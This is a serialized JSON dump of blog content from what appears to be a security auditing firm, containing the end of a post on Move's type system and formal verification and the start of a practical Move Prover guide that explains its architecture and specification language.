invariant",{"type":19,"tag":168,"props":5731,"children":5732},{"style":393},[5733],{"type":24,"value":5734}," supply",{"type":19,"tag":168,"props":5736,"children":5737},{"style":399},[5738],{"type":24,"value":5739}," >=",{"type":19,"tag":168,"props":5741,"children":5742},{"style":212},[5743],{"type":24,"value":5744}," MINIMUM_LIQUIDITY;\n",{"type":19,"tag":168,"props":5746,"children":5747},{"class":170,"line":415},[5748],{"type":19,"tag":168,"props":5749,"children":5750},{"style":212},[5751],{"type":24,"value":1326},{"type":19,"tag":20,"props":5753,"children":5754},{},[5755,5757,5763,5765,5771],{"type":24,"value":5756},"Another useful pattern for the Move prover is ",{"type":19,"tag":27,"props":5758,"children":5760},{"className":5759},[],[5761],{"type":24,"value":5762},"aborts_if",{"type":24,"value":5764},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":19,"tag":27,"props":5766,"children":5768},{"className":5767},[],[5769],{"type":24,"value":5770},"aborts_if false",{"type":24,"value":948},{"type":19,"tag":20,"props":5773,"children":5774},{},[5775],{"type":24,"value":5776},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":19,"tag":158,"props":5778,"children":5780},{"className":363,"code":5779,"language":362,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[5781],{"type":19,"tag":27,"props":5782,"children":5783},{"__ignoreMap":7},[5784,5848,5890,5913,5958,5971,5983,6022,6045,6133,6141,6166,6174,6195,6215,6315,6323,6352,6360,6372,6396,6431,6438,6446,6453,6468,6484,6502,6547,6653],{"type":19,"tag":168,"props":5785,"children":5786},{"class":170,"line":171},[5787,5791,5796,5800,5805,5809,5814,5818,5822,5827,5831,5835,5839,5844],{"type":19,"tag":168,"props":5788,"children":5789},{"style":393},[5790],{"type":24,"value":4005},{"type":19,"tag":168,"props":5792,"children":5793},{"style":175},[5794],{"type":24,"value":5795}," multiply_vec_by_n_coins",{"type":19,"tag":168,"props":5797,"children":5798},{"style":212},[5799],{"type":24,"value":500},{"type":19,"tag":168,"props":5801,"children":5802},{"style":393},[5803],{"type":24,"value":5804},"input",{"type":19,"tag":168,"props":5806,"children":5807},{"style":399},[5808],{"type":24,"value":1922},{"type":19,"tag":168,"props":5810,"children":5811},{"style":393},[5812],{"type":24,"value":5813}," vector",{"type":19,"tag":168,"props":5815,"children":5816},{"style":212},[5817],{"type":24,"value":3240},{"type":19,"tag":168,"props":5819,"children":5820},{"style":825},[5821],{"type":24,"value":5479},{"type":19,"tag":168,"props":5823,"children":5824},{"style":212},[5825],{"type":24,"value":5826},">)",{"type":19,"tag":168,"props":5828,"children":5829},{"style":399},[5830],{"type":24,"value":1922},{"type":19,"tag":168,"props":5832,"children":5833},{"style":393},[5834],{"type":24,"value":5813},{"type":19,"tag":168,"props":5836,"children":5837},{"style":212},[5838],{"type":24,"value":3240},{"type":19,"tag":168,"props":5840,"children":5841},{"style":825},[5842],{"type":24,"value":5843},"u128",{"type":19,"tag":168,"props":5845,"children":5846},{"style":212},[5847],{"type":24,"value":4717},{"type":19,"tag":168,"props":5849,"children":5850},{"class":170,"line":198},[5851,5855,5860,5864,5868,5872,5877,5881,5885],{"type":19,"tag":168,"props":5852,"children":5853},{"style":382},[5854],{"type":24,"value":5512},{"type":19,"tag":168,"props":5856,"children":5857},{"style":393},[5858],{"type":24,"value":5859}," amounts_times_coins",{"type":19,"tag":168,"props":5861,"children":5862},{"style":399},[5863],{"type":24,"value":402},{"type":19,"tag":168,"props":5865,"children":5866},{"style":212},[5867],{"type":24,"value":5813},{"type":19,"tag":168,"props":5869,"children":5870},{"style":399},[5871],{"type":24,"value":888},{"type":19,"tag":168,"props":5873,"children":5874},{"style":393},[5875],{"type":24,"value":5876},"empty",{"type":19,"tag":168,"props":5878,"children":5879},{"style":212},[5880],{"type":24,"value":3240},{"type":19,"tag":168,"props":5882,"children":5883},{"style":825},[5884],{"type":24,"value":5843},{"type":19,"tag":168,"props":5886,"children":5887},{"style":212},[5888],{"type":24,"value":5889},">();\n",{"type":19,"tag":168,"props":5891,"children":5892},{"class":170,"line":415},[5893,5897,5901,5905,5909],{"type":19,"tag":168,"props":5894,"children":5895},{"style":382},[5896],{"type":24,"value":5512},{"type":19,"tag":168,"props":5898,"children":5899},{"style":393},[5900],{"type":24,"value":804},{"type":19,"tag":168,"props":5902,"children":5903},{"style":399},[5904],{"type":24,"value":402},{"type":19,"tag":168,"props":5906,"children":5907},{"style":192},[5908],{"type":24,"value":437},{"type":19,"tag":168,"props":5910,"children":5911},{"style":212},[5912],{"type":24,"value":412},{"type":19,"tag":168,"props":5914,"children":5915},{"class":170,"line":450},[5916,5920,5925,5929,5933,5937,5942,5946,5950,5954],{"type":19,"tag":168,"props":5917,"children":5918},{"style":382},[5919],{"type":24,"value":5512},{"type":19,"tag":168,"props":5921,"children":5922},{"style":393},[5923],{"type":24,"value":5924}," n_coins",{"type":19,"tag":168,"props":5926,"children":5927},{"style":399},[5928],{"type":24,"value":402},{"type":19,"tag":168,"props":5930,"children":5931},{"style":212},[5932],{"type":24,"value":5813},{"type":19,"tag":168,"props":5934,"children":5935},{"style":399},[5936],{"type":24,"value":888},{"type":19,"tag":168,"props":5938,"children":5939},{"style":175},[5940],{"type":24,"value":5941},"length",{"type":19,"tag":168,"props":5943,"children":5944},{"style":212},[5945],{"type":24,"value":500},{"type":19,"tag":168,"props":5947,"children":5948},{"style":399},[5949],{"type":24,"value":505},{"type":19,"tag":168,"props":5951,"children":5952},{"style":393},[5953],{"type":24,"value":5804},{"type":19,"tag":168,"props":5955,"children":5956},{"style":212},[5957],{"type":24,"value":1249},{"type":19,"tag":168,"props":5959,"children":5960},{"class":170,"line":560},[5961,5966],{"type":19,"tag":168,"props":5962,"children":5963},{"style":419},[5964],{"type":24,"value":5965}," while",{"type":19,"tag":168,"props":5967,"children":5968},{"style":212},[5969],{"type":24,"value":5970}," ({\n",{"type":19,"tag":168,"props":5972,"children":5973},{"class":170,"line":666},[5974,5979],{"type":19,"tag":168,"props":5975,"children":5976},{"style":393},[5977],{"type":24,"value":5978}," spec",{"type":19,"tag":168,"props":5980,"children":5981},{"style":212},[5982],{"type":24,"value":691},{"type":19,"tag":168,"props":5984,"children":5985},{"class":170,"line":694},[5986,5991,5996,6000,6005,6009,6014,6018],{"type":19,"tag":168,"props":5987,"children":5988},{"style":393},[5989],{"type":24,"value":5990}," invariant",{"type":19,"tag":168,"props":5992,"children":5993},{"style":175},[5994],{"type":24,"value":5995}," len",{"type":19,"tag":168,"props":5997,"children":5998},{"style":212},[5999],{"type":24,"value":500},{"type":19,"tag":168,"props":6001,"children":6002},{"style":393},[6003],{"type":24,"value":6004},"amounts_times_coins",{"type":19,"tag":168,"props":6006,"children":6007},{"style":212},[6008],{"type":24,"value":481},{"type":19,"tag":168,"props":6010,"children":6011},{"style":399},[6012],{"type":24,"value":6013},"==",{"type":19,"tag":168,"props":6015,"children":6016},{"style":393},[6017],{"type":24,"value":804},{"type":19,"tag":168,"props":6019,"children":6020},{"style":212},[6021],{"type":24,"value":412},{"type":19,"tag":168,"props":6023,"children":6024},{"class":170,"line":707},[6025,6029,6033,6037,6041],{"type":19,"tag":168,"props":6026,"children":6027},{"style":393},[6028],{"type":24,"value":5990},{"type":19,"tag":168,"props":6030,"children":6031},{"style":393},[6032],{"type":24,"value":804},{"type":19,"tag":168,"props":6034,"children":6035},{"style":399},[6036],{"type":24,"value":5634},{"type":19,"tag":168,"props":6038,"children":6039},{"style":393},[6040],{"type":24,"value":5924},{"type":19,"tag":168,"props":6042,"children":6043},{"style":212},[6044],{"type":24,"value":412},{"type":19,"tag":168,"props":6046,"children":6047},{"class":170,"line":725},[6048,6052,6057,6062,6066,6070,6074,6078,6082,6086,6090,6095,6100,6104,6109,6113,6117,6121,6125,6129],{"type":19,"tag":168,"props":6049,"children":6050},{"style":393},[6051],{"type":24,"value":5990},{"type":19,"tag":168,"props":6053,"children":6054},{"style":393},[6055],{"type":24,"value":6056}," forall",{"type":19,"tag":168,"props":6058,"children":6059},{"style":393},[6060],{"type":24,"value":6061}," j",{"type":19,"tag":168,"props":6063,"children":6064},{"style":382},[6065],{"type":24,"value":432},{"type":19,"tag":168,"props":6067,"children":6068},{"style":192},[6069],{"type":24,"value":437},{"type":19,"tag":168,"props":6071,"children":6072},{"style":399},[6073],{"type":24,"value":442},{"type":19,"tag":168,"props":6075,"children":6076},{"style":393},[6077],{"type":24,"value":1157},{"type":19,"tag":168,"props":6079,"children":6080},{"style":399},[6081],{"type":24,"value":1922},{"type":19,"tag":168,"props":6083,"children":6084},{"style":393},[6085],{"type":24,"value":5859},{"type":19,"tag":168,"props":6087,"children":6088},{"style":212},[6089],{"type":24,"value":1152},{"type":19,"tag":168,"props":6091,"children":6092},{"style":393},[6093],{"type":24,"value":6094},"j",{"type":19,"tag":168,"props":6096,"children":6097},{"style":212},[6098],{"type":24,"value":6099},"] ",{"type":19,"tag":168,"props":6101,"children":6102},{"style":399},[6103],{"type":24,"value":6013},{"type":19,"tag":168,"props":6105,"children":6106},{"style":393},[6107],{"type":24,"value":6108}," input",{"type":19,"tag":168,"props":6110,"children":6111},{"style":212},[6112],{"type":24,"value":1152},{"type":19,"tag":168,"props":6114,"children":6115},{"style":393},[6116],{"type":24,"value":6094},{"type":19,"tag":168,"props":6118,"children":6119},{"style":212},[6120],{"type":24,"value":6099},{"type":19,"tag":168,"props":6122,"children":6123},{"style":399},[6124],{"type":24,"value":2002},{"type":19,"tag":168,"props":6126,"children":6127},{"style":393},[6128],{"type":24,"value":5924},{"type":19,"tag":168,"props":6130,"children":6131},{"style":212},[6132],{"type":24,"value":412},{"type":19,"tag":168,"props":6134,"children":6135},{"class":170,"line":746},[6136],{"type":19,"tag":168,"props":6137,"children":6138},{"style":212},[6139],{"type":24,"value":6140}," };\n",{"type":19,"tag":168,"props":6142,"children":6143},{"class":170,"line":755},[6144,6149,6153,6158,6162],{"type":19,"tag":168,"props":6145,"children":6146},{"style":212},[6147],{"type":24,"value":6148}," (",{"type":19,"tag":168,"props":6150,"children":6151},{"style":393},[6152],{"type":24,"value":1157},{"type":19,"tag":168,"props":6154,"children":6155},{"style":399},[6156],{"type":24,"value":6157}," \u003C",{"type":19,"tag":168,"props":6159,"children":6160},{"style":393},[6161],{"type":24,"value":5924},{"type":19,"tag":168,"props":6163,"children":6164},{"style":212},[6165],{"type":24,"value":557},{"type":19,"tag":168,"props":6167,"children":6168},{"class":170,"line":1008},[6169],{"type":19,"tag":168,"props":6170,"children":6171},{"style":212},[6172],{"type":24,"value":6173}," }) {\n",{"type":19,"tag":168,"props":6175,"children":6176},{"class":170,"line":1025},[6177,6182,6186,6191],{"type":19,"tag":168,"props":6178,"children":6179},{"style":212},[6180],{"type":24,"value":6181}," vector",{"type":19,"tag":168,"props":6183,"children":6184},{"style":399},[6185],{"type":24,"value":888},{"type":19,"tag":168,"props":6187,"children":6188},{"style":175},[6189],{"type":24,"value":6190},"push_back",{"type":19,"tag":168,"props":6192,"children":6193},{"style":212},[6194],{"type":24,"value":870},{"type":19,"tag":168,"props":6196,"children":6197},{"class":170,"line":1042},[6198,6203,6207,6211],{"type":19,"tag":168,"props":6199,"children":6200},{"style":399},[6201],{"type":24,"value":6202}," &",{"type":19,"tag":168,"props":6204,"children":6205},{"style":382},[6206],{"type":24,"value":1142},{"type":19,"tag":168,"props":6208,"children":6209},{"style":393},[6210],{"type":24,"value":5859},{"type":19,"tag":168,"props":6212,"children":6213},{"style":212},[6214],{"type":24,"value":915},{"type":19,"tag":168,"props":6216,"children":6217},{"class":170,"line":1055},[6218,6223,6227,6232,6236,6241,6245,6249,6253,6258,6262,6267,6271,6276,6281,6286,6290,6294,6298,6303,6307,6311],{"type":19,"tag":168,"props":6219,"children":6220},{"style":212},[6221],{"type":24,"value":6222}," (",{"type":19,"tag":168,"props":6224,"children":6225},{"style":399},[6226],{"type":24,"value":2002},{"type":19,"tag":168,"props":6228,"children":6229},{"style":212},[6230],{"type":24,"value":6231},"vector",{"type":19,"tag":168,"props":6233,"children":6234},{"style":399},[6235],{"type":24,"value":888},{"type":19,"tag":168,"props":6237,"children":6238},{"style":175},[6239],{"type":24,"value":6240},"borrow",{"type":19,"tag":168,"props":6242,"children":6243},{"style":212},[6244],{"type":24,"value":500},{"type":19,"tag":168,"props":6246,"children":6247},{"style":399},[6248],{"type":24,"value":505},{"type":19,"tag":168,"props":6250,"children":6251},{"style":393},[6252],{"type":24,"value":5804},{"type":19,"tag":168,"props":6254,"children":6255},{"style":212},[6256],{"type":24,"value":6257},", (",{"type":19,"tag":168,"props":6259,"children":6260},{"style":393},[6261],{"type":24,"value":1157},{"type":19,"tag":168,"props":6263,"children":6264},{"style":382},[6265],{"type":24,"value":6266}," as",{"type":19,"tag":168,"props":6268,"children":6269},{"style":825},[6270],{"type":24,"value":3294},{"type":19,"tag":168,"props":6272,"children":6273},{"style":212},[6274],{"type":24,"value":6275},")) ",{"type":19,"tag":168,"props":6277,"children":6278},{"style":382},[6279],{"type":24,"value":6280},"as",{"type":19,"tag":168,"props":6282,"children":6283},{"style":825},[6284],{"type":24,"value":6285}," u128",{"type":19,"tag":168,"props":6287,"children":6288},{"style":212},[6289],{"type":24,"value":481},{"type":19,"tag":168,"props":6291,"children":6292},{"style":399},[6293],{"type":24,"value":2002},{"type":19,"tag":168,"props":6295,"children":6296},{"style":212},[6297],{"type":24,"value":461},{"type":19,"tag":168,"props":6299,"children":6300},{"style":393},[6301],{"type":24,"value":6302},"n_coins",{"type":19,"tag":168,"props":6304,"children":6305},{"style":382},[6306],{"type":24,"value":6266},{"type":19,"tag":168,"props":6308,"children":6309},{"style":825},[6310],{"type":24,"value":6285},{"type":19,"tag":168,"props":6312,"children":6313},{"style":212},[6314],{"type":24,"value":557},{"type":19,"tag":168,"props":6316,"children":6317},{"class":170,"line":1064},[6318],{"type":19,"tag":168,"props":6319,"children":6320},{"style":212},[6321],{"type":24,"value":6322}," );\n",{"type":19,"tag":168,"props":6324,"children":6325},{"class":170,"line":1087},[6326,6331,6335,6339,6344,6348],{"type":19,"tag":168,"props":6327,"children":6328},{"style":393},[6329],{"type":24,"value":6330}," i",{"type":19,"tag":168,"props":6332,"children":6333},{"style":399},[6334],{"type":24,"value":402},{"type":19,"tag":168,"props":6336,"children":6337},{"style":393},[6338],{"type":24,"value":804},{"type":19,"tag":168,"props":6340,"children":6341},{"style":399},[6342],{"type":24,"value":6343}," +",{"type":19,"tag":168,"props":6345,"children":6346},{"style":192},[6347],{"type":24,"value":1954},{"type":19,"tag":168,"props":6349,"children":6350},{"style":212},[6351],{"type":24,"value":412},{"type":19,"tag":168,"props":6353,"children":6354},{"class":170,"line":1096},[6355],{"type":19,"tag":168,"props":6356,"children":6357},{"style":212},[6358],{"type":24,"value":6359}," };\n",{"type":19,"tag":168,"props":6361,"children":6362},{"class":170,"line":1105},[6363,6368],{"type":19,"tag":168,"props":6364,"children":6365},{"style":393},[6366],{"type":24,"value":6367}," spec",{"type":19,"tag":168,"props":6369,"children":6370},{"style":212},[6371],{"type":24,"value":691},{"type":19,"tag":168,"props":6373,"children":6374},{"class":170,"line":1174},[6375,6380,6384,6388,6392],{"type":19,"tag":168,"props":6376,"children":6377},{"style":393},[6378],{"type":24,"value":6379}," assert",{"type":19,"tag":168,"props":6381,"children":6382},{"style":393},[6383],{"type":24,"value":804},{"type":19,"tag":168,"props":6385,"children":6386},{"style":399},[6387],{"type":24,"value":682},{"type":19,"tag":168,"props":6389,"children":6390},{"style":393},[6391],{"type":24,"value":5924},{"type":19,"tag":168,"props":6393,"children":6394},{"style":212},[6395],{"type":24,"value":412},{"type":19,"tag":168,"props":6397,"children":6398},{"class":170,"line":1182},[6399,6403,6407,6411,6415,6419,6423,6427],{"type":19,"tag":168,"props":6400,"children":6401},{"style":393},[6402],{"type":24,"value":6379},{"type":19,"tag":168,"props":6404,"children":6405},{"style":175},[6406],{"type":24,"value":5995},{"type":19,"tag":168,"props":6408,"children":6409},{"style":212},[6410],{"type":24,"value":500},{"type":19,"tag":168,"props":6412,"children":6413},{"style":393},[6414],{"type":24,"value":5804},{"type":19,"tag":168,"props":6416,"children":6417},{"style":212},[6418],{"type":24,"value":481},{"type":19,"tag":168,"props":6420,"children":6421},{"style":399},[6422],{"type":24,"value":6013},{"type":19,"tag":168,"props":6424,"children":6425},{"style":393},[6426],{"type":24,"value":5924},{"type":19,"tag":168,"props":6428,"children":6429},{"style":212},[6430],{"type":24,"value":412},{"type":19,"tag":168,"props":6432,"children":6433},{"class":170,"line":1212},[6434],{"type":19,"tag":168,"props":6435,"children":6436},{"style":212},[6437],{"type":24,"value":6359},{"type":19,"tag":168,"props":6439,"children":6440},{"class":170,"line":1220},[6441],{"type":19,"tag":168,"props":6442,"children":6443},{"style":393},[6444],{"type":24,"value":6445}," amounts_times_coins\n",{"type":19,"tag":168,"props":6447,"children":6448},{"class":170,"line":1252},[6449],{"type":19,"tag":168,"props":6450,"children":6451},{"style":212},[6452],{"type":24,"value":3306},{"type":19,"tag":168,"props":6454,"children":6455},{"class":170,"line":1260},[6456,6460,6464],{"type":19,"tag":168,"props":6457,"children":6458},{"style":393},[6459],{"type":24,"value":5582},{"type":19,"tag":168,"props":6461,"children":6462},{"style":393},[6463],{"type":24,"value":5795},{"type":19,"tag":168,"props":6465,"children":6466},{"style":212},[6467],{"type":24,"value":691},{"type":19,"tag":168,"props":6469,"children":6470},{"class":170,"line":1320},[6471,6475,6480],{"type":19,"tag":168,"props":6472,"children":6473},{"style":393},[6474],{"type":24,"value":5598},{"type":19,"tag":168,"props":6476,"children":6477},{"style":393},[6478],{"type":24,"value":6479}," opaque",{"type":19,"tag":168,"props":6481,"children":6482},{"style":212},[6483],{"type":24,"value":412},{"type":19,"tag":168,"props":6485,"children":6487},{"class":170,"line":6486},27,[6488,6493,6498],{"type":19,"tag":168,"props":6489,"children":6490},{"style":393},[6491],{"type":24,"value":6492}," aborts_if",{"type":19,"tag":168,"props":6494,"children":6495},{"style":382},[6496],{"type":24,"value":6497}," false",{"type":19,"tag":168,"props":6499,"children":6500},{"style":212},[6501],{"type":24,"value":412},{"type":19,"tag":168,"props":6503,"children":6505},{"class":170,"line":6504},28,[6506,6510,6514,6518,6523,6527,6531,6535,6539,6543],{"type":19,"tag":168,"props":6507,"children":6508},{"style":393},[6509],{"type":24,"value":5624},{"type":19,"tag":168,"props":6511,"children":6512},{"style":175},[6513],{"type":24,"value":5995},{"type":19,"tag":168,"props":6515,"children":6516},{"style":212},[6517],{"type":24,"value":500},{"type":19,"tag":168,"props":6519,"children":6520},{"style":393},[6521],{"type":24,"value":6522},"result",{"type":19,"tag":168,"props":6524,"children":6525},{"style":212},[6526],{"type":24,"value":481},{"type":19,"tag":168,"props":6528,"children":6529},{"style":399},[6530],{"type":24,"value":6013},{"type":19,"tag":168,"props":6532,"children":6533},{"style":175},[6534],{"type":24,"value":5995},{"type":19,"tag":168,"props":6536,"children":6537},{"style":212},[6538],{"type":24,"value":500},{"type":19,"tag":168,"props":6540,"children":6541},{"style":393},[6542],{"type":24,"value":5804},{"type":19,"tag":168,"props":6544,"children":6545},{"style":212},[6546],{"type":24,"value":1249},{"type":19,"tag":168,"props":6548,"children":6550},{"class":170,"line":6549},29,[6551,6555,6559,6563,6567,6571,6575,6580,6584,6588,6592,6596,6601,6605,6609,6613,6617,6621,6625,6629,6633,6637,6641,6645,6649],{"type":19,"tag":168,"props":6552,"children":6553},{"style":393},[6554],{"type":24,"value":5624},{"type":19,"tag":168,"props":6556,"children":6557},{"style":393},[6558],{"type":24,"value":6056},{"type":19,"tag":168,"props":6560,"children":6561},{"style":393},[6562],{"type":24,"value":6061},{"type":19,"tag":168,"props":6564,"children":6565},{"style":382},[6566],{"type":24,"value":432},{"type":19,"tag":168,"props":6568,"children":6569},{"style":192},[6570],{"type":24,"value":437},{"type":19,"tag":168,"props":6572,"children":6573},{"style":399},[6574],{"type":24,"value":442},{"type":19,"tag":168,"props":6576,"children":6577},{"style":175},[6578],{"type":24,"value":6579},"len",{"type":19,"tag":168,"props":6581,"children":6582},{"style":212},[6583],{"type":24,"value":500},{"type":19,"tag":168,"props":6585,"children":6586},{"style":393},[6587],{"type":24,"value":5804},{"type":19,"tag":168,"props":6589,"children":6590},{"style":212},[6591],{"type":24,"value":524},{"type":19,"tag":168,"props":6593,"children":6594},{"style":399},[6595],{"type":24,"value":1922},{"type":19,"tag":168,"props":6597,"children":6598},{"style":393},[6599],{"type":24,"value":6600}," result",{"type":19,"tag":168,"props":6602,"children":6603},{"style":212},[6604],{"type":24,"value":1152},{"type":19,"tag":168,"props":6606,"children":6607},{"style":393},[6608],{"type":24,"value":6094},{"type":19,"tag":168,"props":6610,"children":6611},{"style":212},[6612],{"type":24,"value":6099},{"type":19,"tag":168,"props":6614,"children":6615},{"style":399},[6616],{"type":24,"value":6013},{"type":19,"tag":168,"props":6618,"children":6619},{"style":393},[6620],{"type":24,"value":6108},{"type":19,"tag":168,"props":6622,"children":6623},{"style":212},[6624],{"type":24,"value":1152},{"type":19,"tag":168,"props":6626,"children":6627},{"style":393},[6628],{"type":24,"value":6094},{"type":19,"tag":168,"props":6630,"children":6631},{"style":212},[6632],{"type":24,"value":6099},{"type":19,"tag":168,"props":6634,"children":6635},{"style":399},[6636],{"type":24,"value":2002},{"type":19,"tag":168,"props":6638,"children":6639},{"style":175},[6640],{"type":24,"value":5995},{"type":19,"tag":168,"props":6642,"children":6643},{"style":212},[6644],{"type":24,"value":500},{"type":19,"tag":168,"props":6646,"children":6647},{"style":393},[6648],{"type":24,"value":5804},{"type":19,"tag":168,"props":6650,"children":6651},{"style":212},[6652],{"type":24,"value":1249},{"type":19,"tag":168,"props":6654,"children":6656},{"class":170,"line":6655},30,[6657],{"type":19,"tag":168,"props":6658,"children":6659},{"style":212},[6660],{"type":24,"value":3306},{"type":19,"tag":36,"props":6662,"children":6663},{"id":2742},[6664],{"type":24,"value":2745},{"type":19,"tag":20,"props":6666,"children":6667},{},[6668],{"type":24,"value":6669},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":19,"tag":20,"props":6671,"children":6672},{},[6673],{"type":24,"value":6674},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":19,"tag":20,"props":6676,"children":6677},{},[6678,6680,6687],{"type":24,"value":6679},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":19,"tag":269,"props":6681,"children":6684},{"href":6682,"rel":6683},"https://twitter.com/notdeghost/",[273],[6685],{"type":24,"value":6686},"@notdeghost",{"type":24,"value":948},{"type":19,"tag":232,"props":6689,"children":6690},{},[6691],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":6693},[6694,6695,6696],{"id":3192,"depth":198,"text":3195},{"id":5233,"depth":198,"text":5236},{"id":2742,"depth":198,"text":2745},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":6701,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6702,"description":6703,"author":3153,"image":6704,"date":6707,"isFeatured":14,"tags":6708,"onBlogPage":14,"body":6711,"_type":242,"_id":11058,"_source":244,"_file":11059,"_stem":11060,"_extension":247},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":6705,"height":6706,"width":3157},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[6709,6710],"move","tutorial",{"type":16,"children":6712,"toc":11044},[6713,6732,6744,6750,6755,6760,6765,6774,6779,6793,6798,6804,6809,6823,6828,6965,6978,6983,7004,7038,7049,7055,7060,7070,7083,7426,7440,7458,7503,7516,7535,7707,7712,7717,7742,7747,8349,8361,8373,8378,8392,8397,8410,8451,8456,8488,8493,8498,8511,8896,8923,9130,9135,9147,9384,9389,9397,9416,9764,9769,9926,9931,9938,9952,9958,9963,9968,9974,9987,10219,10225,10230,10250,10519,10524,10530,10542,10547,10561,10567,10603,10703,10724,10730,10735,10740,10992,10997,11015,11019,11024,11029,11040],{"type":19,"tag":20,"props":6714,"children":6715},{},[6716,6718,6723,6725,6730],{"type":24,"value":6717},"Formal verification -- a powerful tool for ",{"type":19,"tag":293,"props":6719,"children":6720},{},[6721],{"type":24,"value":6722},"proving",{"type":24,"value":6724}," the correctness of your programs. How does it ",{"type":19,"tag":293,"props":6726,"children":6727},{},[6728],{"type":24,"value":6729},"actually",{"type":24,"value":6731}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":19,"tag":20,"props":6733,"children":6734},{},[6735,6737,6742],{"type":24,"value":6736},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":19,"tag":293,"props":6738,"children":6739},{},[6740],{"type":24,"value":6741},"all",{"type":24,"value":6743}," possible inputs.",{"type":19,"tag":36,"props":6745,"children":6747},{"id":6746},"move-prover",[6748],{"type":24,"value":6749},"Move Prover",{"type":19,"tag":20,"props":6751,"children":6752},{},[6753],{"type":24,"value":6754},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":19,"tag":20,"props":6756,"children":6757},{},[6758],{"type":24,"value":6759},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":19,"tag":20,"props":6761,"children":6762},{},[6763],{"type":24,"value":6764},"The architecture of the tool consists of multiple components as illustrated below.",{"type":19,"tag":20,"props":6766,"children":6767},{},[6768],{"type":19,"tag":1344,"props":6769,"children":6773},{"alt":6770,"src":6771,"title":6772},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":19,"tag":20,"props":6775,"children":6776},{},[6777],{"type":24,"value":6778},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":19,"tag":20,"props":6780,"children":6781},{},[6782,6784,6791],{"type":24,"value":6783},"The model is translated into an intermediate language, called ",{"type":19,"tag":269,"props":6785,"children":6788},{"href":6786,"rel":6787},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[273],[6789],{"type":24,"value":6790},"Boogie",{"type":24,"value":6792},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":19,"tag":20,"props":6794,"children":6795},{},[6796],{"type":24,"value":6797},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":19,"tag":36,"props":6799,"children":6801},{"id":6800},"move-specification-language",[6802],{"type":24,"value":6803},"Move Specification Language",{"type":19,"tag":20,"props":6805,"children":6806},{},[6807],{"type":24,"value":6808},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":19,"tag":20,"props":6810,"children":6811},{},[6812,6814,6821],{"type":24,"value":6813},"To better understand how to use the MSL, we will use ",{"type":19,"tag":269,"props":6815,"children":6818},{"href":6816,"rel":6817},"https://github.com/pontem-network/u256",[273],[6819],{"type":24,"value":6820},"Pontem's U256 library",{"type":24,"value":6822},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":19,"tag":20,"props":6824,"children":6825},{},[6826],{"type":24,"value":6827},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":19,"tag":158,"props":6829,"children":6831},{"code":6830,"language":362,"meta":7,"className":363,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[6832],{"type":19,"tag":27,"props":6833,"children":6834},{"__ignoreMap":7},[6835,6878,6898,6918,6938,6958],{"type":19,"tag":168,"props":6836,"children":6837},{"class":170,"line":171},[6838,6843,6847,6852,6857,6861,6866,6870,6874],{"type":19,"tag":168,"props":6839,"children":6840},{"style":382},[6841],{"type":24,"value":6842},"struct",{"type":19,"tag":168,"props":6844,"children":6845},{"style":825},[6846],{"type":24,"value":2162},{"type":19,"tag":168,"props":6848,"children":6849},{"style":393},[6850],{"type":24,"value":6851}," has",{"type":19,"tag":168,"props":6853,"children":6854},{"style":393},[6855],{"type":24,"value":6856}," 